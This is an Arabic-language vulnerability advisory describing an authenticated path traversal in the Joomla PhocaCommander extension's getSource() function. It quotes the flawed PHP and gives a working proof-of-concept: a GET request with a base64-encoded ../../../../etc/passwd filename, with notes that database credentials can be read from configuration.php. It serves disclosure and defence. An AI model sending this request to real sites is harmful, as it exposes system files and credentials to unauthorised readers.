
إضافة جوملا PhocaCommander معرّضة لثغرة اجتياز المسار (Path Traversal) في دالة getSource.
PhocaCommander ≤ 6.1.3 — اجتياز مسار للمسؤول المصادق، بدون الحاجة إلى CSRF
توجد ثغرة قراءة ملفات تعسفية في نقطة محرر الملفات في PhocaCommander. تقوم الدالة getSource() بفك ترميز معامل filename المشفر بـ base64 وتمرره مباشرة إلى file_get_contents() دون أي فحص لاحتواء المسار. يمكن لأي مسؤول مصادق قراءة أي ملف يمكن لعملية خادم الويب الوصول إليه - بما في ذلك الملفات خارج جذر الويب - بمجرد إرسال طلب GET. لا يلزم أي رمز CSRF.
يؤدي استغلال الثغرة إلى تسريب بيانات اعتماد قاعدة بيانات Joomla والمفتاح السري من configuration.php، ويمكن قراءة ملفات النظام مثل /etc/passwd عبر تسلسلات اجتياز المسار (مثل ../../../../etc/passwd).
| المكوّن | المعرّض للثغرة | تم الاختبار عليه | تم الإصلاح في |
|---|---|---|---|
| PhocaCommander | 1.0.0 – 6.1.3 | Joomla 5.4.7 + PhocaCommander 6.1.3 (PHP 8.2 / Apache) | 6.1.4 |
المصادقة المطلوبة: جلسة مسؤول (لا يلزم رمز CSRF - طلب GET)
الملف: administrator/components/com_phocacommander/models/phocacommanderedit.php
تقوم getSource() بفك ترميز filename من base64 وتربطه مباشرة بـ JPATH_ROOT، ثم تقرأ الملف دون أي فحص لاحتواء المسار:
PHOCACOMMANDEREDIT.PHP — الكود القابل للاستغلال
public function getSource($fileName) {
$fileName = base64_decode($fileName); // ← attacker-controlled
$item = new stdClass;
if (PhocaCommanderHelper::fileExists(JPATH_ROOT . '/' . $fileName)) {
$item->source = file_get_contents(JPATH_ROOT . '/' . $fileName); // ← no containment check
}
return $item;
}
تستخدم fileExists() الدالة is_file(Path::clean($file)). تعمل Path::clean() على توحيد الشرطات المائلة لكنها لا تزيل تسلسلات ../، لذلك تفلت عمليات الاجتياز من جذر الويب دون فحص.
تحتوي قاعدة الكود على getContainedRealPath() في helpers/phocacommander.php والتي تجري فحص احتواء مناسبًا يعتمد على realpath(). تُستدعى بواسطة save() وdownload() لكنها لم تُضف أبدًا إلى getSource(). إضافةً إلى ذلك، يتم إرسال طريقة edit() في المتحكم عبر GET، لذلك لا تنطبق فحوصات رمز CSRF القياسية — تكفي ملفات تعريف ارتباط جلسة مسؤول نشطة لتحفيز قراءة ملفات تعسفية.
قم بالمصادقة عبر صفحة تسجيل دخول المسؤول للحصول على ملف تعريف ارتباط جلسة صالح. لا تتطلب أي صلاحيات إضافية تتجاوز جلسة مسؤول قياسية.
أرسل طلب GET التالي مع مسار الاجتياز المشفر بـ base64:
GET /administrator/index.php?option=com_phocacommander&task=phocacommanderedit.edit&filename=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Cookie: [admin session]
filename بعد فك الترميز: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../../etc/passwd
المسار الناتج: /var/www/html/../../../../etc/passwd = /etc/passwd
يعرض المحرر المحتوى الكامل لـ /etc/passwd، مما يؤكد إمكانية القراءة خارج جذر الويب.
الطلب / الاستجابة
